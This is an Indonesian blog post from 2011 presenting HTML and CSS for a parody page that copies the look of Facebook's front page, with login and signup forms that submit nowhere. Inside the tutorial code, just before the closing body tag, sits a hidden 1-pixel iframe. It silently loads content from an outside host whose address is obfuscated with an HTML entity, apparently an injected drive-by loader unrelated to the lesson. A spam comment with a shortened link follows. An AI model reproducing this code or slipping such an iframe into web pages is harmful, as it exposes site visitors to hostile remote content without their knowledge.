Senin, 28 Februari 2011

Membuat Halaman Web Menyerupai Halaman Depan Facebook


Berikut adalah tampilan dan script HTMLnya :
<!DOCTYPE html>
<html lang="en">
<head>
<title>Selamat Datang di FACE-MU
</title>
<link rel ="shortcut icon" href="fm.png">
<style type="text/css">
  .form1 {
  float: right;
  padding: 5px;
  height: 100px;
  }
  .form2 {
  float: right;
  padding: 5px;
  height: 100px;
  }
  #header{
  height: 80px;
  background: #1566DF;
  }
  #logo{
  float: left;
  padding-left: 100px;
  padding-top: 20px;
  }
  #spacetengah {
   float: left;
   }
  #spacekiri {
   float: left;
   width: 800px;
   height: 400px;
   }
  #spacekiri2{
   width: 400px;
   height: 150px;
   padding: 50px;
   color: #1566DF;
   }
  #spacekanan {
   float: left;
   padding: 10px
   width: 370px;
   height: 440px;
   color: #1566DF;
    }
                #footer {
    float:left;
    clear: both;
                width: 1350px;
    height: 20px;
    background:#1566DF;
    }
</style>
</head>
<body background = "images/bg.jpg">
<div id="logo">
<img width="150"src="images/facemu.png">
</div>
<div id="header">
<div class="form2">
<br><input type="button" value="Masuk">
<br>
</div>
 <div class="form1">
 Password :<br><input type="text" size="22">
 <br>Lupa Password ?
 </div>
 <div class="form1">
 Email<br><input type="text" size="22">
 <br><input type="checkbox">Biarkan saya tetap masuk
 </div>
</div>
<form>
 <div id="spacetengah">
 <div id="spacekiri">
 <div id="spacekiri2">
 <font size="5">Face-Mu adalah situs jejaring sosial yang memperoleh fatwa haram dari MUI</font>
 <img src="images/peta.png">
 </div>
 </div>
  </div>
  </form>
  <div id="spacekanan">
 <span><h1>Mendaftar</h1><h3>Gratis sampai akhir zaman</h3>
 <hr style="color: blue">
<form>
 <table>
  <tr><td width = "130">Nama Depan :</td><td><input type="text" size="33"></td></tr>
  <tr><td>Nama Belakang :</td><td><input type="text" size="33"></td></tr>
  <tr><td>Email Anda :</td><td><input type="text" size="33"></td></tr>
  <tr><td>Masukkan Ulang Email :</td><td><input type="text" size="33"></td></tr>
  <tr><td>Kata Sandi Baru :</td><td><input type="text" size="33"></td></tr>
  <tr><td>Saya Seorang :</td><td>
  <select name="jk">
   <option value="pria" selected>Pria
    <option value="wanita">Wanita
  </select></td>
  </tr>
  </table>
 
  <table>
  <tr><td width = "130">Tanggal lahir :</td><td>
  <select name="tgl">
   <option value="01" selected>01
    <option value="02">02
                <option value="03">03
  </select></td>
 
  <td>
  <select name="bln">
   <option value="Januari" selected>Januari
    <option value="Februari">Februari
                <option value="Maret">Maret
                <option value="April">Aprlil
                <option value="Mei">Mei
                <option value="Juni">Juni
                <option value="Juli">Juli
                <option value="Agustus">Agustus
                <option value="September">September
                <option value="Oktober">Oktober
                <option value="November">November
                <option value="Desember">Desember
  </select></td>
 
  <td>
  <select name="thn">
   <option value="1990" selected>1990
    <option value="1991">1991
                <option value="1992">1992
                <option value="1991">1993
                <option value="1992">1994
  </select></td>
  <tr><td width = 130><td colspan = 3>Mengapa saya perlu mengisinya</td>
  </table>
 <input type="button" value="Mendaftar">
 <hr style="color: blue">
 <center>Buat halaman untuk selebritis, group musik dll.</center>
 </div>
<div id="footer">
<text>Face-mu &copy 2011 - Fatra Production</text>
</div>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

1 komentar:

Salam kenal, izin mampir gan :)
http://goo.gl/zxbefd

Posting Komentar